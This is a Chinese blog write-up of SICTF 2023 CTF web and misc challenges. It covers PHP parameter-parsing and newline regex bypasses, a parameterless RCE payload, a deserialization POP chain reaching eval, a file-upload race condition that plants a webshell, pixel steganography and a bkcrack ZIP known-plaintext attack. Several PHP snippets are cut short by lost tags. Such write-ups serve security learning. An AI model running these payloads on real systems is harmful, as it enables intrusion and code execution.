• [SICTF 2023] web&misc



    web

    Baby_PHP

    涉及知识点

    1. php解析特性
    2. apache换行解析漏洞
    3. 无参RCE

    源代码

     ");
        if(isset($_POST['command'])){
            $command = $_POST['command'];
            if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){
                eval($command);
            }
            else{
                echo("You are Hacker!");
            }
        }
    }
    else{
        echo("K_e_y is Errors!");
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    简单分析一下,我们要GET传参一个值不为123且需要在首行正则匹配到123
    我们可以利用php的解析特性遇到空格会被解析成下划线_,传递参数名为k e y
    要绕过正则匹配,思路是换行解析漏洞
    payload

    ?k e y=123%0a
    
    • 1

    然后第一步成功后,就是无参RCE
    payload

    highlight_file(next(array_reverse(scandir(current(localeconv())))));
    
    • 1

    得到flag
    在这里插入图片描述

    我全都要

    源代码

    pop)){
                echo "这是一道签到题,不能让新生一直做不出来遭受打击";
            }
        }
    
        public function game(){
            echo "扣1送地狱火";
            if ($this->i = "1"){
                echo '';
                $this->nogame->love();
            }
        }
    
        public function __clone(){
            echo "必须执行";
            eval($_POST["cmd"]);
        }
    }
    
    
    class A{
        public $Aec;
        public $girl;
        public $boy;
    
        public function __toString()
        {
            echo "I also want to fall in love";
            if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
                $this->Aec->game();
            }
        }
    
    
    }
    
    
    class P{
        public $MyLover;
        public function __call($name, $arguments)
        {
            echo "有对象我会在这打CTF???看我克隆一个对象!";
            if ($name != "game") {
                echo "打游戏去,别想着对象了";
                $this->MyLover = clone new B;
            }
        }
    
    }
    
    if ($_GET["A_B_C"]){
        $poc=$_GET["A_B_C"];
        unserialize($poc);
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64

    简单分析一下
    第一个点是上传参数要运用到php解析特性
    我们只需要上传参数为A B C即可绕过

    再来看反序列化,出口是B.__clone(),往前推就到P.__call(),因为会执行克隆从而调用。访问不存在的方法去调用_call()再往前推有两个选择,由于要绕过_call()中的if语句,我们只能是B.game()。调用此方法往前推到A.__toString(),然后往前推是B.__destruct()
    pop链子

    B.__destruct() --> A.__toString() --> B.game() --> P.__call() --> B.__clone()
    
    • 1

    exp

    pop=$b;
    $b->Aec=$a;
    $b->Aec->nogame=$c;
    echo serialize($a);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    得到flag
    在这里插入图片描述

    RCE

    源代码

    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    过滤了括号,那么函数就用不了
    这里用反引号绕过,不过注意点是eval函数,把字符串作为PHP代码执行
    payload

    code=?>
    • 1

    得到flag
    在这里插入图片描述

    你能跟得上我的speed吗

    打开题目,告诉了我们上传文件的路径
    我们尝试随便上传个png图片,发现直接被删了
    在这里插入图片描述结合题目名字,考点应该是文件上传之条件竞争
    这里我们创建1.php,写入

    ');?>
    
    • 1

    解释:在后台删除我们上传文件的间隙写入shell.php

    上传后bp抓包,清除全部payload
    在这里插入图片描述设置无限上传,不停发包
    在这里插入图片描述开始攻击的同时运行py脚本,用来判断是否访问成功

    import requests
    url = "http://210.44.151.51:10138/uploads/1.php"
    while True:
        html = requests.get(url)
        if html.status_code == 200:
            print("OK")
            break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    我们先开始攻击
    在这里插入图片描述然后运行脚本,当出现成功时表示我们成功写入shell.php
    在这里插入图片描述
    然后蚁剑连接得到flag

    在这里插入图片描述

    misc

    Pixel_art

    打开附件,发现有加密,盲猜伪加密
    解压后得到图片
    在这里插入图片描述
    用010大概看一下没啥收获
    只好用stegsolve打开看看是不是lsb隐写
    这里发现有png文件
    在这里插入图片描述我们直接save bin保存一下,修改后缀为.png
    得到一张非常小的照片
    在这里插入图片描述结合题目提示,应该是要提取像素
    脚本

    from PIL import Image
    
    image = Image.open('123.png')  # 替换为你的图片文件路径
    width, height = image.size
    pixel_data = []
    
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_data.append(pixel)
    
    print(pixel_data)  
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    运行结果
    在这里插入图片描述这里卡了一下,但是仔细看了下就三个数字不停重复
    猜测应该是对应ascii码表

    46-. 
    33-!
    63-?
    
    • 1
    • 2
    • 3

    由这三个构成那么就是Ook解码
    贴个完整脚本

    from PIL import Image
    
    image = Image.open('123.png')  # 替换为你的图片文件路径
    width, height = image.size
    pixel_data = []
    
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_data.append(pixel)
    
    count = 0
    for i in range(len(pixel_data)):
        if(pixel_data[i] == (0,0,0)):
            break
        for j in pixel_data[i]:
            print(chr(j),end = "")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    运行结果
    在这里插入图片描述丢到在线网站解码
    得到flag
    在这里插入图片描述

    攻破这个压缩包!

    打开题目,发现是个被加密的压缩包
    试了一下不是伪加密,binwalk也没分析出来
    那么考虑深入明文攻击
    进行深入明文攻击需要至少12个已知字节。而由于已知压缩包内为png文件,也就知道文件头:

    89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
    
    • 1

    所以,我们至少知道了16个准确的字节,超过了12个字节,已经满足深入明文攻击的条件了,(多的已知字节可以加快速度),接下来就使用工具即可。

    bkcrack -C flag.zip -c flag.png -p key.txt -o 0
    
    • 1

    在这里插入图片描述跑了二十来分钟,出了zip的三段内部密码
    直接进行解密即可
    在这里插入图片描述得到一张图片
    010打开,在最下面找到flag
    在这里插入图片描述

  • 相关阅读:
    企业微信将应用安装到工作台
    MongoDB ObjectId 详解
    react18【系列实用教程】memo —— 缓存组件 (2024最新版)
    能不能绕过c去学c++?
    maven项目、idea抽风问题解决
    零信任安全:SPIFFE 和 SPIRE 通用身份验证的标准和实现
    【python】使用Selenium获取(2023博客之星)的参赛文章
    AtCoder Beginner Contest 212 E(DP)
    面试Java高级工程师之Redis总结
    基于SqlSugar的数据库访问处理的封装,支持.net FrameWork和.net core的项目调用
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/132775872